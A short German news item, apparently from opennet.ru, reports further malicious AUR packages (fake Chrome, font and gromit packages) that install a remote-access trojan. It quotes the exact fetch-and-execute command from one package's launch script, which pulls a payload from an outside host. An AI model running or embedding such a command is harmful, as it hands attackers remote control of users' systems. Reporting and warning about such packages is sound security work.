Im AUR-Repository von Arch Linux wurden weitere 6 bösartige Pakete identifiziert.

Im AUR (Arch User Repository), das in Arch Linux zum Verteilen von Paketen von Drittentwicklern verwendet wird, setzte die Veröffentlichung von Schadcode, der in Pakete mit inoffiziellen Browser-Bundles integriert ist, fort. Neben den vor zwei Wochen identifizierten schädlichen Paketen firefox-patch-bin, librewolf-fix-bin und zen-browser-patched-bin wurde im AUR auch das Paket google-chrome-stable hinzugefügt, welches ebenfalls eine Änderung enthält, die eine schädliche Komponente installiert, die Remote-Zugriff auf das System ermöglicht.

In der PKGBUILD-Datei des betroffenen Pakets wurde das Skript für den Start des Browsers google-chrome-stable.sh festgelegt, das unter anderem den Befehl ‘python -c «$(curl https://segs.lol/9wUb1Z)»‘ enthielt, der schadhafte Software herunterlud, die von VirusTotal als Trojaner Spark erkannt wurde. Dieser ermöglicht es, das System remote zu steuern, Prozesse zu starten, Dateien zu übertragen, den Datenverkehr zu inspizieren und Screenshots zu senden.

Das schadhafte Paket google-chrome-stable wurde vorgestern hochgeladen und innerhalb weniger Stunden von den Administratoren von AUR entfernt. Fast unmittelbar nach der Löschung von google-chrome-stable wurden in AUR zwei schadhafte Pakete — „chrome“ und „chrome-bin“ — hochgeladen, die ein ähnliches Skript zur Installation schadhafter Software auf dem System des Benutzers enthielten.

Daraufhin wurden drei weitere Pakete mit Schadcode entdeckt: ttf-mac-fonts-all, ttf-ms-fonts-all und gromit.

Quelle: opennet.ru